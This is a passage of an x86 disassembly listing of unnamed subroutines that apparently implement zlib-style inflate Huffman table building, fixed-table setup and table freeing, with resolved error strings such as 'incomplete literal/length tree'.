0806a28a  89 84 29 a8 fa ff ff        mov     %eax,0xfffffaa8(%ecx,%ebp,1)  ;-1368 'xa8 xfa xff xff' ""
0806a291  89 f2                       mov     %esi,%edx
0806a293  8a b5 90 fa ff ff           mov     0xfffffa90(%ebp),%dh   ;-1392 'x90 xfa xff xff' ""
0806a299  89 d6                       mov     %edx,%esi
0806a29b  8b 8d 84 fa ff ff           mov     0xfffffa84(%ebp),%ecx  ;-1404 'x84 xfa xff xff' ""
0806a2a1  2b 8d 90 fa ff ff           sub     0xfffffa90(%ebp),%ecx  ;-1392 'x90 xfa xff xff' ""
0806a2a7  89 f0                       mov     %esi,%eax
0806a2a9  88 d8                       mov     %bl,%al
0806a2ab  8b 9d 98 fa ff ff           mov     0xfffffa98(%ebp),%ebx  ;-1384 'x98 xfa xff xff' ""
0806a2b1  d3 eb                       shr     %cl,%ebx
0806a2b3  8b 95 74 fa ff ff           mov     0xfffffa74(%ebp),%edx  ;-1420 'x74 xfa xff xff' "t"
0806a2b9  8b 8d 64 fa ff ff           mov     0xfffffa64(%ebp),%ecx  ;-1436 'x64 xfa xff xff' "d"
0806a2bf  89 c6                       mov     %eax,%esi
0806a2c1  8b bd 88 fa ff ff           mov     0xfffffa88(%ebp),%edi  ;-1400 'x88 xfa xff xff' ""
0806a2c7  8b 44 11 fc                 mov     0xfffffffc(%ecx,%edx,1),%eax
0806a2cb  89 34 d8                    mov     %esi,(%eax,%ebx,8)
0806a2ce  89 7c d8 04                 mov     %edi,0x4(%eax,%ebx,8)
0806a2d2  8b 8d 84 fa ff ff           mov     0xfffffa84(%ebp),%ecx  ;-1404 'x84 xfa xff xff' ""
0806a2d8  03 8d 90 fa ff ff           add     0xfffffa90(%ebp),%ecx  ;-1392 'x90 xfa xff xff' ""
0806a2de  39 8d 94 fa ff ff           cmp     %ecx,0xfffffa94(%ebp)  ;-1388 'x94 xfa xff xff' ""
0806a2e4  0f 8f 5e fe ff ff           jg      0806a148 <Unknown0440+0x308>  ;-418 'x5e xfe xff xff' "^"
0806a2ea  8a 85 94 fa ff ff           mov     0xfffffa94(%ebp),%al   ;-1388 'x94 xfa xff xff' ""
0806a2f0  2a 85 84 fa ff ff           sub     0xfffffa84(%ebp),%al   ;-1404 'x84 xfa xff xff' ""
0806a2f6  8b 55 0c                    mov     0xc(%ebp),%edx
0806a2f9  89 f3                       mov     %esi,%ebx
0806a2fb  88 c7                       mov     %al,%bh
0806a2fd  8d 84 95 e8 fa ff ff        lea     0xfffffae8(%ebp,%edx,4),%eax  ;-1304 'xe8 xfa xff xff' ""
0806a304  39 85 8c fa ff ff           cmp     %eax,0xfffffa8c(%ebp)  ;-1396 'x8c xfa xff xff' ""
0806a30a  89 de                       mov     %ebx,%esi
0806a30c  72 0a                       jb      0806a318 <Unknown0440+0x4d8>
```

```
0806a30e   89 f1                        mov     %esi,%ecx
0806a310   89 fb                        mov     %edi,%ebx
0806a312   b1 c0                        mov     $0xc0,%cl
0806a314   89 ce                        mov     %ecx,%esi
0806a316   eb 45                        jmp     0806a35d <Unknown0440+0x51d>
0806a318   8b 9d 8c fa ff ff            mov     0xfffffa8c(%ebp),%ebx   ;-1396 'x8c xfa xff xff' ""
0806a31e   8b 03                        mov     (%ebx),%eax
0806a320   3b 45 10                     cmp     0x10(%ebp),%eax
0806a323   73 17                        jae     0806a33c <Unknown0440+0x4fc>
0806a325   3d ff 00 00 00               cmp     $0xff,%eax   ;255 'xff x0 x0 x0' ""
0806a32a   b2 60                        mov     $0x60,%dl
0806a32c   77 02                        ja      0806a330 <Unknown0440+0x4f0>
0806a32e   31 d2                        xor     %edx,%edx
0806a330   89 f1                        mov     %esi,%ecx
0806a332   88 d1                        mov     %dl,%cl
0806a334   89 ce                        mov     %ecx,%esi
0806a336   89 c7                        mov     %eax,%edi
0806a338   eb 1c                        jmp     0806a356 <Unknown0440+0x516>
0806a33a   89 f6                        mov     %esi,%esi
0806a33c   89 c2                        mov     %eax,%edx
0806a33e   2b 55 10                     sub     0x10(%ebp),%edx
0806a341   8b 5d 18                     mov     0x18(%ebp),%ebx
0806a344   8a 04 93                     mov     (%ebx,%edx,4),%al
0806a347   83 c0 50                     add     $0x50,%eax
0806a34a   89 f1                        mov     %esi,%ecx
0806a34c   8b 5d 14                     mov     0x14(%ebp),%ebx
0806a34f   88 c1                        mov     %al,%cl
0806a351   8b 3c 93                     mov     (%ebx,%edx,4),%edi
0806a354   89 ce                        mov     %ecx,%esi
0806a356   83 85 8c fa ff ff 04         addl    $0x4,0xfffffa8c(%ebp)   ;-1396 'x8c xfa xff xff' ""
0806a35d   8b 8d 94 fa ff ff            mov     0xfffffa94(%ebp),%ecx   ;-1388 'x94 xfa xff xff' ""
0806a363   2b 8d 84 fa ff ff            sub     0xfffffa84(%ebp),%ecx   ;-1404 'x84 xfa xff xff' ""
0806a369   ba 01 00 00 00               mov     $0x1,%edx   ;1 'x1 x0 x0 x0' ""
0806a36e   d3 e2                        shl     %cl,%edx
0806a370   8b 9d 98 fa ff ff            mov     0xfffffa98(%ebp),%ebx   ;-1384 'x98 xfa xff xff' ""
0806a376   8a 8d 84 fa ff ff            mov     0xfffffa84(%ebp),%cl   ;-1404 'x84 xfa xff xff' ""
0806a37c   d3 eb                        shr     %cl,%ebx
0806a37e   3b 9d 7c fa ff ff            cmp     0xfffffa7c(%ebp),%ebx   ;-1412 'x7c xfa xff xff' "|"
0806a384   73 19                        jae     0806a39f <Unknown0440+0x55f>
0806a386   89 f6                        mov     %esi,%esi
0806a388   8b 85 88 fa ff ff            mov     0xfffffa88(%ebp),%eax   ;-1400 'x88 xfa xff xff' ""
0806a38e   89 34 d8                     mov     %esi,(%eax,%ebx,8)
0806a391   89 7c d8 04                  mov     %edi,0x4(%eax,%ebx,8)
0806a395   01 d3                        add     %edx,%ebx
0806a397   3b 9d 7c fa ff ff            cmp     0xfffffa7c(%ebp),%ebx   ;-1412 'x7c xfa xff xff' "|"
0806a39d   72 e9                        jb      0806a388 <Unknown0440+0x548>
0806a39f   8b 8d 94 fa ff ff            mov     0xfffffa94(%ebp),%ecx   ;-1388 'x94 xfa xff xff' ""
0806a3a5   49                           dec     %ecx
0806a3a6   bb 01 00 00 00               mov     $0x1,%ebx   ;1 'x1 x0 x0 x0' ""
0806a3ab   d3 e3                        shl     %cl,%ebx
0806a3ad   85 9d 98 fa ff ff            test    %ebx,0xfffffa98(%ebp)   ;-1384 'x98 xfa xff xff' ""
0806a3b3   74 13                        je      0806a3c8 <Unknown0440+0x588>
0806a3b5   8d 76 00                     lea     0x0(%esi),%esi
0806a3b8   31 9d 98 fa ff ff            xor     %ebx,0xfffffa98(%ebp)   ;-1384 'x98 xfa xff xff' ""
0806a3be   d1 eb                        shr     %ebx
0806a3c0   85 9d 98 fa ff ff            test    %ebx,0xfffffa98(%ebp)   ;-1384 'x98 xfa xff xff' ""
0806a3c6   75 f0                        jne     0806a3b8 <Unknown0440+0x578>
0806a3c8   b8 01 00 00 00               mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0806a3cd   8a 8d 84 fa ff ff            mov     0xfffffa84(%ebp),%cl   ;-1404 'x84 xfa xff xff' ""
0806a3d3   d3 e0                        shl     %cl,%eax
0806a3d5   31 9d 98 fa ff ff            xor     %ebx,0xfffffa98(%ebp)   ;-1384 'x98 xfa xff xff' ""
0806a3db   48                           dec     %eax
0806a3dc   23 85 98 fa ff ff            and     0xfffffa98(%ebp),%eax   ;-1384 'x98 xfa xff xff' ""
0806a3e2   8d 95 a8 fa ff ff            lea     0xfffffaa8(%ebp),%edx   ;-1368 'xa8 xfa xff xff' ""
0806a3e8   8b 9d 74 fa ff ff            mov     0xfffffa74(%ebp),%ebx   ;-1420 'x74 xfa xff xff' "t"
0806a3ee   3b 04 13                     cmp     (%ebx,%edx,1),%eax
0806a3f1   74 3a                        je      0806a42d <Unknown0440+0x5ed>
0806a3f3   bb 01 00 00 00               mov     $0x1,%ebx   ;1 'x1 x0 x0 x0' ""
0806a3f8   8b 85 90 fa ff ff            mov     0xfffffa90(%ebp),%eax   ;-1392 'x90 xfa xff xff' ""
0806a3fe   29 85 84 fa ff ff            sub     %eax,0xfffffa84(%ebp)   ;-1404 'x84 xfa xff xff' ""
0806a404   8a 8d 84 fa ff ff            mov     0xfffffa84(%ebp),%cl   ;-1404 'x84 xfa xff xff' ""
0806a40a   89 d8                        mov     %ebx,%eax
0806a40c   d3 e0                        shl     %cl,%eax
0806a40e   83 ad 74 fa ff ff 04         subl    $0x4,0xfffffa74(%ebp)   ;-1420 'x74 xfa xff xff' "t"
0806a415   48                           dec     %eax
0806a416   ff 8d 9c fa ff ff            decl    0xfffffa9c(%ebp)   ;-1380 'x9c xfa xff xff' ""
0806a41c   23 85 98 fa ff ff            and     0xfffffa98(%ebp),%eax   ;-1384 'x98 xfa xff xff' ""
0806a422   8b 8d 74 fa ff ff            mov     0xfffffa74(%ebp),%ecx   ;-1420 'x74 xfa xff xff' "t"
0806a428   3b 04 11                     cmp     (%ecx,%edx,1),%eax
0806a42b   75 cb                        jne     0806a3f8 <Unknown0440+0x5b8>
0806a42d   ff 8d a4 fa ff ff            decl    0xfffffaa4(%ebp)   ;-1372 'xa4 xfa xff xff' ""
0806a433   83 bd a4 fa ff ff ff         cmpl    $0xffffffff,0xfffffaa4(%ebp)   ;-1372 'xa4 xfa xff xff' ""
0806a43a   0f 85 92 fe ff ff            jne     0806a2d2 <Unknown0440+0x492>   ;-366 'x92 xfe xff xff' ""
0806a440   ff 85 94 fa ff ff            incl    0xfffffa94(%ebp)   ;-1388 'x94 xfa xff xff' ""
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0806a446  8b 9d a0 fa ff ff     mov     0xfffffaa0(%ebp),%ebx   ;-1376 'xa0 xfa xff xff' ""
0806a44c  39 9d 94 fa ff ff     cmp     %ebx,0xfffffa94(%ebp)   ;-1388 'x94 xfa xff xff' ""
0806a452  0f 8e c0 fc ff ff     jle     0806a118 <Unknown0440+0x2d8>   ;-832 'xc0 xfc xff xff' ""
0806a458  8b 85 80 fa ff ff     mov     0xfffffa80(%ebp),%eax   ;-1408 'x80 xfa xff xff' ""
0806a45e  85 c0                 test    %eax,%eax
0806a460  74 12                 je      0806a474 <Unknown0440+0x634>
0806a462  83 bd a0 fa ff ff 01  cmpl    $0x1,0xfffffaa0(%ebp)   ;-1376 'xa0 xfa xff xff' ""
0806a469  74 09                 je      0806a474 <Unknown0440+0x634>
0806a46b  b8 fb ff ff ff        mov     $0xfffffffb,%eax   ;-5 'xfb xff xff xff' ""
0806a470  eb 04                 jmp     0806a476 <Unknown0440+0x636>
0806a472  89 f6                 mov     %esi,%esi
0806a474  31 c0                 xor     %eax,%eax
0806a476  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0806a479  5b                    pop     %ebx
0806a47a  5e                    pop     %esi
0806a47b  5f                    pop     %edi
0806a47c  5d                    pop     %ebp
0806a47d  c3                    ret
0806a47e  89 f6                 mov     %esi,%esi


    ;
    ; >---------------------<  Subroutine # 441 >---------------------<
    ;
0806a480 <Unknown0441>:
0806a480  55                    push    %ebp
0806a481  89 e5                 mov     %esp,%ebp
0806a483  56                    push    %esi
0806a484  53                    push    %ebx
0806a485  8b 5d 14              mov     0x14(%ebp),%ebx
0806a488  53                    push    %ebx
0806a489  ff 75 0c              pushl   0xc(%ebp)
0806a48c  8b 75 10              mov     0x10(%ebp),%esi
0806a48f  56                    push    %esi
0806a490  6a 00                 push    $0x0
0806a492  6a 00                 push    $0x0
0806a494  6a 13                 push    $0x13
0806a496  6a 13                 push    $0x13
0806a498  ff 75 08              pushl   0x8(%ebp)
0806a49b  e8 a0 f9 ff ff        call    08069e40 <Unknown0440>
0806a4a0  83 c4 20              add     $0x20,%esp
0806a4a3  83 f8 fd              cmp     $0xfffffffd,%eax
0806a4a6  75 0c                 jne     0806a4b4 <Unknown0441+0x34>
0806a4a8  c7 43 18 e0 69 07 08  movl    $0x80769e0,0x18(%ebx)   ;[in .rodata] 1919252079 'x6f x76 x65 x72'
                                                                "oversubscribed dynamic bit lengths tree"
0806a4af  eb 22                 jmp     0806a4d3 <Unknown0441+0x53>
0806a4b1  8d 76 00              lea     0x0(%esi),%esi
0806a4b4  83 f8 fb              cmp     $0xfffffffb,%eax
0806a4b7  75 1a                 jne     0806a4d3 <Unknown0441+0x53>
0806a4b9  83 ec 08              sub     $0x8,%esp
0806a4bc  53                    push    %ebx
0806a4bd  ff 36                 pushl   (%esi)
0806a4bf  e8 90 02 00 00        call    0806a754 <Unknown0445>
0806a4c4  83 c4 10              add     $0x10,%esp
0806a4c7  c7 43 18 20 6a 07 08  movl    $0x8076a20,0x18(%ebx)   ;[in .rodata] 1868787305 'x69 x6e x63 x6f'
                                                                "incomplete dynamic bit lengths tree"
0806a4ce  b8 fd ff ff ff        mov     $0xfffffffd,%eax   ;-3 'xfd xff xff xff' ""
0806a4d3  8d 65 f8              lea     0xfffffff8(%ebp),%esp
0806a4d6  5b                    pop     %ebx
0806a4d7  5e                    pop     %esi
0806a4d8  5d                    pop     %ebp
0806a4d9  c3                    ret
0806a4da  89 f6                 mov     %esi,%esi


    ;
    ; >---------------------<  Subroutine # 442 >---------------------<
    ;
0806a4dc <Unknown0442>:
0806a4dc  55                    push    %ebp
0806a4dd  89 e5                 mov     %esp,%ebp
0806a4df  57                    push    %edi
0806a4e0  56                    push    %esi
0806a4e1  53                    push    %ebx
0806a4e2  83 ec 0c              sub     $0xc,%esp
0806a4e5  8b 75 24              mov     0x24(%ebp),%esi
0806a4e8  56                    push    %esi
0806a4e9  ff 75 14              pushl   0x14(%ebp)
0806a4ec  8b 7d 1c              mov     0x1c(%ebp),%edi
0806a4ef  57                    push    %edi
0806a4f0  68 00 97 07 08        push    $0x8079700   ;[in .data] 0 'x0 x0 x0 x0' ""
0806a4f5  68 80 96 07 08        push    $0x8079680   ;[in .data] 3 'x3 x0 x0 x0' ""
0806a4fa  68 01 01 00 00        push    $0x101   ;257 'x1 x1 x0 x0' ""
0806a4ff  ff 75 08              pushl   0x8(%ebp)
```

```
0806a502  ff 75 10              pushl  0x10(%ebp)
0806a505  e8 36 f9 ff ff        call   08069e40 <Unknown0440>
0806a50a  89 c3                 mov    %eax,%ebx
0806a50c  83 c4 20              add    $0x20,%esp
0806a50f  85 db                 test   %ebx,%ebx
0806a511  74 39                 je     0806a54c <Unknown0442+0x70>
0806a513  83 fb fd              cmp    $0xfffffffd,%ebx
0806a516  75 0c                 jne    0806a524 <Unknown0442+0x48>
0806a518  c7 46 18 60 6a 07 08  movl   $0x8076a60,0x18(%esi)  ;[in .rodata] 1919252079 'x6f x76 x65 x72'
                                                               "oversubscribed literal/length tree"
0806a51f  e9 91 00 00 00        jmp    0806a5b5 <Unknown0442+0xd9>   ;145 'x91 x0 x0 x0' ""
0806a524  83 fb fb              cmp    $0xfffffffb,%ebx
0806a527  0f 85 88 00 00 00     jne    0806a5b5 <Unknown0442+0xd9>   ;136 'x88 x0 x0 x0' ""
0806a52d  83 ec 08              sub    $0x8,%esp
0806a530  56                    push   %esi
0806a531  ff 37                 pushl  (%edi)
0806a533  e8 1c 02 00 00        call   0806a754 <Unknown0445>
0806a538  bb fd ff ff ff        mov    $0xfffffffd,%ebx  ;-3 'xfd xff xff xff' ""
0806a53d  c7 46 18 a0 6a 07 08  movl   $0x8076aa0,0x18(%esi)  ;[in .rodata] 1868787305 'x69 x6e x63 x6f'
                                                               "incomplete literal/length tree"
0806a544  83 c4 10              add    $0x10,%esp
0806a547  eb 6c                 jmp    0806a5b5 <Unknown0442+0xd9>
0806a549  8d 76 00              lea    0x0(%esi),%esi
0806a54c  56                    push   %esi
0806a54d  ff 75 18              pushl  0x18(%ebp)
0806a550  ff 75 20              pushl  0x20(%ebp)
0806a553  68 00 98 07 08        push   $0x8079800   ;[in .data] 0 'x0 x0 x0 x0' ""
0806a558  68 80 97 07 08        push   $0x8079780   ;[in .data] 1 'x1 x0 x0 x0' ""
0806a55d  6a 00                 push   $0x0
0806a55f  8b 55 08              mov    0x8(%ebp),%edx
0806a562  8b 4d 10              mov    0x10(%ebp),%ecx
0806a565  ff 75 0c              pushl  0xc(%ebp)
0806a568  8d 04 91              lea    (%ecx,%edx,4),%eax
0806a56b  50                    push   %eax
0806a56c  e8 cf f8 ff ff        call   08069e40 <Unknown0440>
0806a571  89 c3                 mov    %eax,%ebx
0806a573  83 c4 20              add    $0x20,%esp
0806a576  85 db                 test   %ebx,%ebx
0806a578  74 42                 je     0806a5bc <Unknown0442+0xe0>
0806a57a  83 fb fd              cmp    $0xfffffffd,%ebx
0806a57d  75 09                 jne    0806a588 <Unknown0442+0xac>
0806a57f  c7 46 18 60 6a 07 08  movl   $0x8076a60,0x18(%esi)  ;[in .rodata] 1919252079 'x6f x76 x65 x72'
                                                               "oversubscribed literal/length tree"
0806a586  eb 22                 jmp    0806a5aa <Unknown0442+0xce>
0806a588  83 fb fb              cmp    $0xfffffffb,%ebx
0806a58b  75 1d                 jne    0806a5aa <Unknown0442+0xce>
0806a58d  83 ec 08              sub    $0x8,%esp
0806a590  56                    push   %esi
0806a591  8b 45 20              mov    0x20(%ebp),%eax
0806a594  ff 30                 pushl  (%eax)
0806a596  e8 b9 01 00 00        call   0806a754 <Unknown0445>
0806a59b  bb fd ff ff ff        mov    $0xfffffffd,%ebx  ;-3 'xfd xff xff xff' ""
0806a5a0  c7 46 18 a0 6a 07 08  movl   $0x8076aa0,0x18(%esi)  ;[in .rodata] 1868787305 'x69 x6e x63 x6f'
                                                               "incomplete literal/length tree"
0806a5a7  83 c4 10              add    $0x10,%esp
0806a5aa  83 ec 08              sub    $0x8,%esp
0806a5ad  56                    push   %esi
0806a5ae  ff 37                 pushl  (%edi)
0806a5b0  e8 9f 01 00 00        call   0806a754 <Unknown0445>
0806a5b5  89 d8                 mov    %ebx,%eax
0806a5b7  eb 05                 jmp    0806a5be <Unknown0442+0xe2>
0806a5b9  8d 76 00              lea    0x0(%esi),%esi
0806a5bc  31 c0                 xor    %eax,%eax
0806a5be  8d 65 f4              lea    0xfffffff4(%ebp),%esp
0806a5c1  5b                    pop    %ebx
0806a5c2  5e                    pop    %esi
0806a5c3  5f                    pop    %edi
0806a5c4  5d                    pop    %ebp
0806a5c5  c3                    ret
0806a5c6  89 f6                 mov    %esi,%esi


  ;
  ; >--------------------<  Subroutine # 443 >--------------------<
  ;
0806a5c8 <Unknown0443>:
0806a5c8  55                    push   %ebp
0806a5c9  89 e5                 mov    %esp,%ebp
0806a5cb  8b 55 08              mov    0x8(%ebp),%edx
0806a5ce  8b 02                 mov    (%edx),%eax
0806a5d0  2b 45 0c              sub    0xc(%ebp),%eax
0806a5d3  89 02                 mov    %eax,(%edx)
0806a5d5  8d 04 c5 a0 ca 07 08  lea    0x807caa0(,%eax,8),%eax  ;[in .bss] 886724307 'xd3 x56 xda x34' ""
0806a5dc  5d                    pop    %ebp
```

```
0806a5dd  c3                       ret
0806a5de  89 f6                    mov    %esi,%esi


  ;
  ; >---------------------<  Subroutine # 444 >---------------------<
  ;
0806a5e0 <Unknown0444>:
0806a5e0  55                       push   %ebp
0806a5e1  89 e5                    mov    %esp,%ebp
0806a5e3  8b 15 78 98 07 08        mov    0x8079878,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0806a5e9  81 ec d8 04 00 00        sub    $0x4d8,%esp  ;1240 'xd8 x4 x0 x0' ""
0806a5ef  85 d2                    test   %edx,%edx
0806a5f1  0f 85 2b 01 00 00        jne    0806a722 <Unknown0444+0x142>  ;299 'x2b x1 x0 x0' "+"
0806a5f7  8d 85 34 fb ff ff        lea    0xfffffb34(%ebp),%eax   ;-1228 'x34 xfb xff xff' "4"
0806a5fd  89 85 60 fb ff ff        mov    %eax,0xfffffb60(%ebp)   ;-1184 'x60 xfb xff xff' "`"
0806a603  c7 85 34 fb ff ff 12 02 00 00  movl  $0x212,0xfffffb34(%ebp)  ;530 'x12 x2 x0 x0' ""
0806a60d  c7 85 58 fb ff ff c8 a5 06 08  movl  $0x806a5c8,0xfffffb58(%ebp)  ;-1192 'x58 xfb xff xff' "X"
0806a617  c7 85 5c fb ff ff 00 00 00 00  movl  $0x0,0xfffffb5c(%ebp)  ;0 'x0 x0 x0 x0' ""
0806a621  b8 8f 00 00 00           mov    $0x8f,%eax   ;143 'x8f x0 x0 x0' ""
0806a626  8d 95 b4 fd ff ff        lea    0xfffffdb4(%ebp),%edx   ;-588 'xb4 xfd xff xff' ""
0806a62c  c7 02 08 00 00 00        movl   $0x8,(%edx)   ;8 'x8 x0 x0 x0' ""
0806a632  83 ea 04                 sub    $0x4,%edx
0806a635  48                       dec    %eax
0806a636  79 f4                    jns    0806a62c <Unknown0444+0x4c>
0806a638  b8 90 00 00 00           mov    $0x90,%eax   ;144 'x90 x0 x0 x0' ""
0806a63d  8d 95 78 fb ff ff        lea    0xfffffb78(%ebp),%edx   ;-1160 'x78 xfb xff xff' "x"
0806a643  90                       nop
0806a644  c7 04 82 09 00 00 00     movl   $0x9,(%edx,%eax,4)   ;9 'x9 x0 x0 x0' ""
0806a64b  40                       inc    %eax
0806a64c  3d ff 00 00 00           cmp    $0xff,%eax   ;255 'xff x0 x0 x0' ""
0806a651  7e f1                    jle    0806a644 <Unknown0444+0x64>
0806a653  3d 17 01 00 00           cmp    $0x117,%eax   ;279 'x17 x1 x0 x0' ""
0806a658  7f 15                    jg     0806a66f <Unknown0444+0x8f>
0806a65a  8d 95 78 fb ff ff        lea    0xfffffb78(%ebp),%edx   ;-1160 'x78 xfb xff xff' "x"
0806a660  c7 04 82 07 00 00 00     movl   $0x7,(%edx,%eax,4)   ;7 'x7 x0 x0 x0' ""
0806a667  40                       inc    %eax
0806a668  3d 17 01 00 00           cmp    $0x117,%eax   ;279 'x17 x1 x0 x0' ""
0806a66d  7e f1                    jle    0806a660 <Unknown0444+0x80>
0806a66f  3d 1f 01 00 00           cmp    $0x11f,%eax   ;287 'x1f x1 x0 x0' ""
0806a674  7f 15                    jg     0806a68b <Unknown0444+0xab>
0806a676  8d 95 78 fb ff ff        lea    0xfffffb78(%ebp),%edx   ;-1160 'x78 xfb xff xff' "x"
0806a67c  c7 04 82 08 00 00 00     movl   $0x8,(%edx,%eax,4)   ;8 'x8 x0 x0 x0' ""
0806a683  40                       inc    %eax
0806a684  3d 1f 01 00 00           cmp    $0x11f,%eax   ;287 'x1f x1 x0 x0' ""
0806a689  7e f1                    jle    0806a67c <Unknown0444+0x9c>
0806a68b  8d 85 38 fb ff ff        lea    0xfffffb38(%ebp),%eax   ;-1224 'x38 xfb xff xff' "8"
0806a691  50                       push   %eax
0806a692  68 30 db 07 08           push   $0x807db30   ;[in .bss] 0 'x0 x0 x0 x0' ""
0806a697  68 38 db 07 08           push   $0x807db38   ;[in .bss] 0 'x0 x0 x0 x0' ""
0806a69c  68 00 97 07 08           push   $0x8079700   ;[in .data] 0 'x0 x0 x0 x0' ""
0806a6a1  68 80 96 07 08           push   $0x8079680   ;[in .data] 3 'x3 x0 x0 x0' ""
0806a6a6  68 01 01 00 00           push   $0x101   ;257 'x1 x1 x0 x0' ""
0806a6ab  68 20 01 00 00           push   $0x120   ;288 'x20 x1 x0 x0' " "
0806a6b0  8d 85 78 fb ff ff        lea    0xfffffb78(%ebp),%eax   ;-1160 'x78 xfb xff xff' "x"
0806a6b6  50                       push   %eax
0806a6b7  c7 05 30 db 07 08 07 00 00 00  movl  $0x7,0x807db30   ;7 'x7 x0 x0 x0' ""
0806a6c1  e8 7a f7 ff ff           call   08069e40 <Unknown0440>
0806a6c6  83 c4 20                 add    $0x20,%esp
0806a6c9  b8 1d 00 00 00           mov    $0x1d,%eax   ;29 'x1d x0 x0 x0' ""
0806a6ce  8d 95 ec fb ff ff        lea    0xfffffbec(%ebp),%edx   ;-1044 'xec xfb xff xff' ""
0806a6d4  c7 02 05 00 00 00        movl   $0x5,(%edx)   ;5 'x5 x0 x0 x0' ""
0806a6da  83 ea 04                 sub    $0x4,%edx
0806a6dd  48                       dec    %eax
0806a6de  79 f4                    jns    0806a6d4 <Unknown0444+0xf4>
0806a6e0  8d 85 38 fb ff ff        lea    0xfffffb38(%ebp),%eax   ;-1224 'x38 xfb xff xff' "8"
0806a6e6  50                       push   %eax
0806a6e7  68 34 db 07 08           push   $0x807db34   ;[in .bss] 0 'x0 x0 x0 x0' ""
0806a6ec  68 3c db 07 08           push   $0x807db3c   ;[in .bss] 0 'x0 x0 x0 x0' ""
0806a6f1  68 00 98 07 08           push   $0x8079800   ;[in .data] 0 'x0 x0 x0 x0' ""
0806a6f6  68 80 97 07 08           push   $0x8079780   ;[in .data] 1 'x1 x0 x0 x0' ""
0806a6fb  6a 00                    push   $0x0
0806a6fd  6a 1e                    push   $0x1e
0806a6ff  8d 85 78 fb ff ff        lea    0xfffffb78(%ebp),%eax   ;-1160 'x78 xfb xff xff' "x"
0806a705  50                       push   %eax
0806a706  c7 05 34 db 07 08 05 00 00 00  movl  $0x5,0x807db34   ;5 'x5 x0 x0 x0' ""
0806a710  e8 2b f7 ff ff           call   08069e40 <Unknown0440>
0806a715  83 c4 20                 add    $0x20,%esp
0806a718  c7 05 78 98 07 08 01 00 00 00  movl  $0x1,0x8079878   ;1 'x1 x0 x0 x0' ""
0806a722  8b 15 30 db 07 08        mov    0x807db30,%edx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0806a728  8b 45 08                 mov    0x8(%ebp),%eax
0806a72b  89 10                    mov    %edx,(%eax)
0806a72d  8b 15 34 db 07 08        mov    0x807db34,%edx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0806a733  8b 45 0c                 mov    0xc(%ebp),%eax
```

```
0806a736   89 10                 mov     %edx,(%eax)
0806a738   8b 15 38 db 07 08     mov     0x807db38,%edx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0806a73e   8b 45 10              mov     0x10(%ebp),%eax
0806a741   89 10                 mov     %edx,(%eax)
0806a743   8b 15 3c db 07 08     mov     0x807db3c,%edx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0806a749   8b 45 14              mov     0x14(%ebp),%eax
0806a74c   89 10                 mov     %edx,(%eax)
0806a74e   31 c0                 xor     %eax,%eax
0806a750   c9                    leave
0806a751   c3                    ret
0806a752   89 f6                 mov     %esi,%esi


  ;
  ; >--------------------< Subroutine # 445 >--------------------<
  ;
0806a754 <Unknown0445>:
0806a754   55                    push    %ebp
0806a755   89 e5                 mov     %esp,%ebp
0806a757   56                    push    %esi
0806a758   53                    push    %ebx
0806a759   8b 5d 08              mov     0x8(%ebp),%ebx
0806a75c   31 d2                 xor     %edx,%edx
0806a75e   85 db                 test    %ebx,%ebx
0806a760   8b 75 0c              mov     0xc(%ebp),%esi
0806a763   74 28                 je      0806a78d <Unknown0445+0x39>
0806a765   8d 76 00              lea     0x0(%esi),%esi
0806a768   8b 43 fc              mov     0xfffffffc(%ebx),%eax
0806a76b   89 53 fc              mov     %edx,0xfffffffc(%ebx)
0806a76e   89 da                 mov     %ebx,%edx
0806a770   89 c3                 mov     %eax,%ebx
0806a772   85 db                 test    %ebx,%ebx
0806a774   75 f2                 jne     0806a768 <Unknown0445+0x14>
0806a776   eb 15                 jmp     0806a78d <Unknown0445+0x39>
0806a778   83 ea 08              sub     $0x8,%edx
0806a77b   83 ec 08              sub     $0x8,%esp
0806a77e   8b 5a 04              mov     0x4(%edx),%ebx
0806a781   52                    push    %edx
0806a782   ff 76 28              pushl   0x28(%esi)
0806a785   ff 56 24              call    *0x24(%esi)
0806a788   89 da                 mov     %ebx,%edx
0806a78a   83 c4 10              add     $0x10,%esp
0806a78d   85 d2                 test    %edx,%edx
0806a78f   75 e7                 jne     0806a778 <Unknown0445+0x24>
0806a791   8d 65 f8              lea     0xfffffff8(%ebp),%esp
0806a794   5b                    pop     %ebx
0806a795   31 c0                 xor     %eax,%eax
0806a797   5e                    pop     %esi
0806a798   5d                    pop     %ebp
0806a799   c3                    ret
0806a79a   89 f6                 mov     %esi,%esi


  ;
  ; >--------------------< Subroutine # 446 >--------------------<
  ;
0806a79c <Unknown0446>:
0806a79c   55                    push    %ebp
0806a79d   89 e5                 mov     %esp,%ebp
0806a79f   83 ec 0c              sub     $0xc,%esp
0806a7a2   6a 1c                 push    $0x1c
0806a7a4   6a 01                 push    $0x1
0806a7a6   8b 45 18              mov     0x18(%ebp),%eax
0806a7a9   ff 70 28              pushl   0x28(%eax)
0806a7ac   ff 50 20              call    *0x20(%eax)
0806a7af   89 c2                 mov     %eax,%edx
0806a7b1   83 c4 10              add     $0x10,%esp
0806a7b4   85 d2                 test    %edx,%edx
0806a7b6   74 1e                 je      0806a7d6 <Unknown0446+0x3a>
0806a7b8   8b 45 08              mov     0x8(%ebp),%eax
0806a7bb   88 42 10              mov     %al,0x10(%edx)
0806a7be   8b 45 0c              mov     0xc(%ebp),%eax
0806a7c1   88 42 11              mov     %al,0x11(%edx)
0806a7c4   8b 45 10              mov     0x10(%ebp),%eax
0806a7c7   89 42 14              mov     %eax,0x14(%edx)
0806a7ca   8b 45 14              mov     0x14(%ebp),%eax
0806a7cd   c7 02 00 00 00 00     movl    $0x0,(%edx)   ;0 'x0 x0 x0 x0' ""
0806a7d3   89 42 18              mov     %eax,0x18(%edx)
0806a7d6   89 d0                 mov     %edx,%eax
0806a7d8   c9                    leave
0806a7d9   c3                    ret
0806a7da   89 f6                 mov     %esi,%esi
```

```
     ;
     ; >---------------------<   Subroutine # 447 >---------------------<
     ;
0806a7dc <Unknown0447>:
0806a7dc  55                      push    %ebp
0806a7dd  89 e5                   mov     %esp,%ebp
0806a7df  57                      push    %edi
0806a7e0  56                      push    %esi
0806a7e1  53                      push    %ebx
0806a7e2  83 ec 2c                sub     $0x2c,%esp
